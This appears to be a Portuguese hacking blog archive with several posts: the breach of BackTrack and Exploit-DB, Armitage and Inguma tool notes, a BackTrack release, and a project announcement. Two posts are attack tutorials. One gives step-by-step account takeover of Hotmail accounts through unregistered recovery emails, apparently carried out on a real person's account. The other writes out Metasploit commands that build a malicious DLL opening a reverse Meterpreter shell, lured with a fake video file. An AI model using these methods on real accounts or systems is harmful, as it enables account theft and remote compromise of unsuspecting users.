BackTrack-linux.org e Exploit-db foram invadidos

Não há nada como ter sua bunda chutada na manhã de Natal, que é exatamente o que aconteceu conosco hoje. Fomos detidos e expostos, de forma verdadeira ", escreveu Aharoni.

http://www.exploit-db.com/owned-and-exposed/
http://www.exploit-db.com/papers/15823/

Logs dos ataques:
Exploit-DB(Offensive Security): http://pastebin.com/8giRpfPE
Backtrack-linux: http://pastebin.com/vxcaC9Nb

Ataque feito pelo 1337 e inj3ct0r Team.


Ref: http://www.backtrack-linux.org/backtrack/backtrack-blog-compromised/

Bug no correio eletronico "Hotmail"

Ha algum tempo atras, era banal você ver em fóruns, blogs, sites e etc, como "hackear orkut" por e-mail não registrado. com a inclusão digital(Maldita inclusão) isso acabou virando febre.

Nesse tutorial, vou mostrar um bug no hotmail, que também e de e-mail não registrado.

No momento em que você criar uma conta de hotmail, o formulário de cadastro te da uma opção de restauração de senha através de um e-mail alternativo, caso você use uma conta que não e registrada ou o e-mail acaba sendo aspirado, abre uma brecha para um possível atacante.

Vamos ao método, vamos escolher um e-mail "@hotmail.com", entre no http://maccount.live.com

Clique em "Esqueceu sua senha?" e na próxima pagina preencha o primeiro campo com o e-mail alvo, e o segundo para autenticação, seguindo a orientação da imagem.

Nessa pagina e mostrada algumas configurações, mostrando as informações que que são inseridas na criação da conta, a importante nesse caso e de redefinição de senha por e-mail secundário.

Agora nessa pagina o "bicho pega", então você vai me perguntar, como vou saber qual e o e-mail, se apenas mostra as iniciais do e-mail... e então que entra o truque :p, abrimos o código fonte da pagina e "voila" nos mostra o e-mail completo.

Bom, temos as informações necessárias, agora e torce para que a conta esteja sem registrar ou desativada por inatividade. Dependo de onde a conta secundaria foi criada, você vai ter que criar uma nova conta, nesse caso, foi uma do hotmail, entre em https://login.live.com/.

Supimpa, se a conta não tive sido registrada, você faz todo o procedimento de criar uma nova conta com o id, apos a criação e simplesmente ir e pede uma redefinição de senha através do e-mail alternativo.

Bom, acompanhe o video com o ataque em tempo real.
Acho que não preciso dizer que e para fins acadêmicos...

# Venha ressaltar que o user que usei para a vídeo aula, e um contato que tenho no meu cliente, mas não tenho nenhum contanto ou afinidade, na verdade nem lembro de onde e como o conheço, e deixo claro que não e perseguição, simplesmente o usuario estava com essa falha e acabei usando como modelo na aula, para a recuperação de sua conta, entre em contato comigo.

Armitage - Interface gráfica para Metasploit

O Armitage me chamou muita atenção, a primeira vez que utilizei o programa, pode perceber que se tratava de um ótimo programa e um pouco parecido com o "Canvas", foi o que me levou a fazer uma requisição para que a ferramenta pudesse se adicionada no BackTrack, uma das distro prediletas.

O topico da requisição:
http://www.backtrack-linux.org/forums/tool-requests/35521-armitage-%96-cyber-attack-management-metasploit.html 
O programa esta disponíveis nos repositórios do backtrack, basta ir no shell e atualizar a distro:
# apt-get update && apt-get upgrade

Depois vai no menu Dragon > BackTrack > Penetration > Armitage

Qualquer um pode contribuir com tools que se encaixam da ideologia da distro, nesse link:
http://www.backtrack-linux.org/forums/tool-requests/ 
Agora vamos fazer um pouco sobre ela:


                            Armitage

Armitage é uma ferramenta de gestão gráfica cyber ataque para Metasploit que visualiza suas targets, recomenda exploits e expõe as capacidades avançadas do framework. Armitage visa tornar Metasploit utilizável para os profissionais de segurança que compreendem hacking. Se você quer aprender e crescer em Metasploit cos recursos avançados, Armitage pode ajudá-lo.


Manual: 
http://www.fastandeasyhacking.com/manual

Videos:  
http://www.youtube.com/watch?v=kdtMthVeC1M
http://www.youtube.com/watch?v=EACo2q3kgHY

Screenshots:  
http://www.fastandeasyhacking.com/images/screenshots/launch.png
http://www.fastandeasyhacking.com/images/screenshots/armitage4.png
Baixar:  
http://www.fastandeasyhacking.com/download

Metasploit Unleashed: 
http://www.offensive-security.com/metasploit-unleashed/Armitage
Instalação: http://www.offensive-security.com/metasploit-unleashed/Armitage_Setup
Scanning: http://www.offensive-security.com/metasploit-unleashed/Armitage_Scanning
Exploração: http://www.offensive-security.com/metasploit-unleashed/Armitage_Exploitation

Ref: http://www.fastandeasyhacking.com/ 


Estarei produzindo algumas aulas futuramente.
[]'

Inguma - Penetration Testing Toolkit - Autoscan

Inguma e um kit de ferramentas de descoberta de vulnerabilidade inteiramente escrita em Python. Seu framework inclui módulos para descoberta de hosts, recolher informações, fuzz targets, força bruta (brute-force), exploits e disassembler.
Os módulos de varredura do inguma são divididos em 5 partes, alem de um autoscan.
Os módulos são "Descobrir", "Reunir", "Força bruta", "Exploits". Inguma pode ser executado em sua própria base python em modo gráfico e pelo terminal.

Nessa aula vou mostrar o uso do autoscan, as demais funções mostro em aulas futuras. Com as informações colhidas eu logo no sistema alvo por ssh.

Sobre o Vídeo:
Tamanho:  6.2 MB
Formato:  MP4
Duração:  3:29 min
Musica: Hip-Hop - Shift Piano
Baixar: http://www.4shared.com/file/xaXM7rxy/Inguma-autoscan.html
On line: http://vimeo.com/17272324


Ref:
http://inguma.sourceforge.net

Dll Hijacking em Windows 7

Nessa aula vou mostrar a técnica de dll hijacker, ela consiste em colocar ou substituir uma dll padrão do sistema operacional por uma dll maliciosa. Uma vez que a dll maliciosa tenho sido modificada, e necessário que ela esteja na mesma pasta do arquivo vulnerável ou substituída o arquivo original na maquina alvo, essa falha e antiga e já vem sendo discutida a mais de 10 anos. Não vou alongar muito o texto, caso queiram saber mais informações, leia as referencias abaixo.
Nesse link você vão pode encontrar uma lista de DLL´s vulneráveis e seus respectivos programas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Na vídeo aula, crio uma dll maliciosa e um aquivo de vídeo  falso. Fiz de forma simples, não deixei a dll oculta para o melhor entendimento da vídeo, mas para esse ataque se bem sucedido deve envolver um pouco de engenharia social.

Comandos:
msfpayload windows/meterpreter/reverse_https LHOST=IP LPORT=443 D > /Diretório para ser salvo o arquivo/ehtrace.dll
touch Video.flv
use multi/handler
set lhost IP
set lport 443
set payload windows/meterpreter/reverse_https
exploit

Sobre a aula:
Tamanho: 69 Mb
Formato: AVI
Duração: 4:29
Musica: Hip-Hop – Hot shif once again
Baixar: http://www.4shared.com/file/yqv2OQRJ/Dll-hijacker_Windows_7_.html
On line: http://vimeo.com/17250307




REF:
http://en.wikipedia.org/wiki/DLL_Hijacking
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/
http://en.wikipedia.org/wiki/Dynamic-link_library
http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html
http://www.rec-sec.com/2009/05/12/dll-hijacking-vulnerability/
http://www.informationweek.com/news/windows/security/showArticle.jhtml?articleID=228200659

BackTrack 4 R2

Chegou a nova atualização - para um novo kernel, e uma nova versão do BackTrack. Com o codinome "Nemesis". Esta versão é a nossa melhor versão, é ainda com maior agilidade de resposta da área de trabalho, melhor suporte a hardware, suporte mais amplo placa wireless, ambiente de trabalho simplificado.

Novas funções:

    * Kernel 2.6.35.8 – *Much* improved mac80211 stack.
    * USB 3.0 support.
    * New wireless cards supported.
    * All wireless Injection patches applied, maximum support for wireless attacks.
    * Even *faster* desktop environment.
    * Revamped Fluxbox environment for the KDE challenged.
    * Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.
    * Updated old packages, added new ones, and removed obsolete ones.
    * New BackTrack Wiki with better documentation and support.
    * Our most professional, tested and streamlined release ever.

Para aqueles que querem atualizar uma versão mais antiga do BT4:

http://www.backtrack-linux.org/wiki/index.php/Upgrading

Referencias:

http://www.backtrack-linux.org/backtrack/backtrack-4-r2-download/

http://www.backtrack-linux.org/downloads/

Projeto Request777

Estou com um projeto novo.

Reunindo uma equipe de amigos e profissionais na área de segurança digital, para prover material de qualidade e atualizado.

Tutoriais
Vídeo aulas
Artigos
Podcasts
Noticias
Cursos
Etc...


Site em construção...

Em breve nesse endereço: http://www.request777.com.br/

Equipe Request777